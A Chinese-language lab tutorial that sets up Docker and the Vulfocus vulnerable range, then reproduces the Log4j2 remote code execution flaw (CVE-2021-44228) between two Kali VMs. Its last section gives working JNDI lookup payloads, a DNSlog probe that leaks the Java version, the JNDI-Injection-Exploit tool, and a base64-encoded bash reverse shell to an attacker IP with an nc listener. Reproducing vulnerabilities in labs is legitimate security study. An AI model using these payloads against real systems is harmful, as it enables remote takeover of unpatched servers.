這里使用了兩臺KALI虛擬機,一臺用于安裝靶場環境,一臺用于攻擊
一、Docker的安裝(靶機)
1、Linux內核版本查看
#安裝docker要求內核版本kerner>=3.10
#為此,先檢查當前Linux系統的內核版本
uname -a
2、Linux apt源換源教程
#進入sources.lis重新編輯apt源
vim /etc/apt/sources.list
#直接CV大法寫入下面的apt源
#其他apt源
#此處僅添加中科達和阿里的,其他注釋掉#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清華大學
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#東軟大學
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib#重慶大學
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
3、進行系統或工具的更新
#進行系統和工具的更新(比較久,去隔壁玩兩把游戲)
#注:當出現正在設定軟件包界面時,直接按tab+enter進行確認
apt-get update && apt-get upgrade && apt-get dist-upgrade#清除更新緩存
apt-get clean
4、采用apt安裝Docker
#這里采用apt安裝,因為之后采用apt源安裝Docker的其他組件時,新組件與已安裝的Docker容器最為匹配。
apt-get install docker docker-compose#或
apt-get install docker.io
5、檢驗Docker成功安裝
#啟動docker服務
service docker start
#列出docker現有鏡像
docker images
#運行hello-world鏡像
#但apt安裝的docker沒帶有hello-world默認鏡像呀,所以下面的命令不成功,它會幫你拉去該鏡像下來
docker run hello-world
由于各種網絡政策,在國內訪問DockerHub速度會非常緩慢,大家一般都會采取更換鏡像源的方式來進行加速。
運行時會報錯,需要配置docker鏡像加速
6、Docker換源教程
2024.6之后,由于政策的加強,大部分常見的鏡像源已經無法使用,如下圖:
截止2025.4.16,下列鏡像源均可用。(基于能否成功拉取hello-world
進行測試)
DockerHub可用鏡像源匯總 |
http://docker.m.daocloud.io |
http://docker.imgdb.de |
docker-0.unsee.tech |
http://docker.hlmirror.com |
docker.1ms.run |
func.ink |
http://lispy.org |
http://docker.xiaogenban1993.com |
換源方法1-臨時換源
格式如下:(不要加上前綴https://
)
sudo docker pull
+鏡像源地址
+/
+要拉取的鏡像名
例如:
鏡像源為“docker.m.daocloud.io”,要拉取的鏡像名為“hello-world”,
sudo docker pull docker.m.daocloud.io/hello-world
成功拉取,如下圖:
注意:此方法每次拉取鏡像時都需要指定相應的鏡像源
換源方法2-永久換源(推薦)
核心思想:修改docker的配置文件 daemon.json
,將鏡像源地址寫入其中。
以ubuntu22.04為例,其余操作系統同理。
1、創建目錄(如果已經有該目錄,則忽略此步驟)
sudo mkdir -p /etc/docker
知識點補充:添加“-p”,執行此命令會先檢查目錄是否存在。若不存在,則創建相應目錄;否則,不執行任何操作。因此不管是否有該目錄,直接執行此命令都沒問題,不會報錯。
2、向配置文件寫入鏡像源
格式如下:(需要加上前綴https://
)
{"registry-mirrors": ["鏡像源1","鏡像源2"]
}
例如,根據2025.4.16最新測試的可用鏡像源,我在此給出命令行和文本編輯器兩種操作方法。
下列兩種方法均可直接使用,不會報錯。
1. 方法一:直接命令行輸入
直接將下列文本粘貼到終端中,然后回車運行即可。
sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker-0.unsee.tech","https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
EOF
知識點補充:<<-'EOF'
告訴 shell 接下來的所有內容會被傳遞到命令 tee
,直到遇到標記 EOF
為止,用于將多行內容作為輸入傳遞給命令。所以不需要擔心輸入一行之后系統就開始執行命令。 此外,若daemon.json
文件不存在,直接使用tee
命令不會報錯,而是會創建名為daemon.json
的文件。
2. 方法二:通過文本編輯器打開daemon.json
,然后粘貼
首先打開配置文件:
sudo nano /etc/docker/daemon.json
然后直接粘貼下列內容:
{"registry-mirrors": ["https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker-0.unsee.tech","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
知識點補充:若daemon.json
文件不存在,直接使用nano
命令不會報錯,而是會創建名為daemon.json
的文件。
1、重啟docker服務
sudo systemctl daemon-reload && sudo systemctl restart docker
2、驗證
sudo docker pull hello-world
出現下圖,即為成功!
安裝vulfocus鏡像
docker pull vulfocus/vulfocus:latest
二、搭建Vulfocus靶場并配置vulfocus漏洞環境(靶機)
1、安裝vulfocus鏡像
docker pull vulfocus/vulfocus:latest
2、運行vulfocus
docker create -p 8888:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
各個參數的簡單解釋:
-p :前邊的端口代表物理機的端口,后邊的端口是docker的端口
-v :/var/run/docker.sock:/var/run/docker.sock為docker交互連接。
-e:
VUL_IP=172.17.0.1 為Docker服務器 IP,不能為 127.0.0.1。
vulfocus/vulfocus是上面的倉庫鏡像名,也可以用鏡像ID。
可以用ifconfig命令來確認當前的docker服務器ip:
接著用這個命令來查看當前docker的所有服務,可以看到我們剛剛起的服務:
docker ps -a
運行vulfocus容器:
docker start 6cbc5770a44e
狀態為up,代表成功啟動。
由本地的8888端口映射到docker的80端口
最后訪問在主機訪問虛擬機IP的8888端口即可:
默認賬號密碼admin/admin
初始賬號密碼登進來以后,空空的,需要自己添加漏洞環境進來。
3、添加鏡像
點擊鏡像管理模塊,直接一鍵同步,就是官方的所有漏洞環境,反正點這個就好了:
同步之后,刷新頁面,就可以看到漏洞環境了,挑選自己喜歡的一個一個下載就好,我這里下載了log4j2環境
也可以點擊添加,直接一鍵導入,這個就很久了,最好在WiFi環境下下載吧,流量多的大佬另當別論哈
啟動后會生成一個端口號
在虛擬機IP后加上端口就可以打開靶機了
三、KALI中maven 的安裝與配置(攻擊機)
1、在另一臺kali上下載 maven 安裝包(作為攻擊機)
wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz
2、解壓 apache-maven-3.9.4-bin.tar.gz
tar -zxvf apache-maven-3.9.4-bin.tar.gz
找到文件解壓到的位置,由于解壓時我們沒有指定路徑,因此默認解壓到當前路徑下
可以看到路徑為:/root/apache-maven-3.9.4
(看你自己把文件壓縮包下載到哪里,在哪里進行解壓的)
3、修改配置文件 /etc/profile
vim /etc/profile
在配置文件中加上:
export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解壓后所在的位置
export PATH=$MAVEN_HOME/bin:$PATH
4、wq保存退出后,刷新配置文件,以確保修改生效
source /etc/profile
5、檢測是否安裝成功,查看 maven 版本
mvn -version
6、這里存在一個問題,當我們重啟一個終端時,發現 mvn 命令依舊無法識別
使用命令
sudo apt-get install maven
重啟客戶機
四、Log4j2遠程命令執行(CVE-2021-44228)漏洞復現(攻擊機)
1、啟動環境
點擊問號跳轉
發現url會出現變化
schema 是查找jndi對象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi幾種schema。
漏洞利用語句如下(替換 schema://url):
${jndi:schema://url}
驗證是否存在Log4j2遠程代碼執行,首先在DNSlog獲取一個域名。
DNSLog PlatformDNSLog平臺http://dnslog.cn/
輸入下面的內容,注意替換你自己獲得的域名
${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}
這里注意,進行url編碼
Java程序解析這個表達式時,會將 ${sys:java.version} 替換為當前 JVM 的實際版本號,這樣你在DNSlog就能看到相關信息
2、JNDI 注入工具安裝
首先安裝 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切換到 JNDI-Injection-Exploit 目錄
cd JNDI-Injection-Exploit
編譯安裝,在該目錄下執行如下命令
mvn clean package -DskipTests
編譯安裝完成后,我們會得到一個 jar 文件
位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在運行結果的最后是這樣:
切換進入到 target 目錄:
cd target
3、工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要執行的命令" -A "攻擊機的ip"
4、服務站點部署
反彈 shell 到目標主機端口,大家注意改成自己的IP和端口,這里以 7777 端口為例
bash -i >& /dev/tcp/192.168.217.134/7777 0>&1
對命令進行 base64 編碼 (命令必須經過編碼,不然無法實現)
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
將想要執行的命令替換成我們得到的 payload,以及填上我們的攻擊機ip
利用 JNDI 注入工具把這個反彈 shell 命令部署到 LDAP 服務上
在 target 目錄下,執行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"
4、開啟端口監聽
再開一個終端,監聽我們對應的端口(我這里的 payload 里為 7777)
nc -lvvp 7777
5、反彈shell
使用上述給出的 payload 路徑構造完整 payload
比如:
${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}
我們可以針對不同版本和不同情況使用不同的服務和不同的 payload
url編碼
成功反彈shell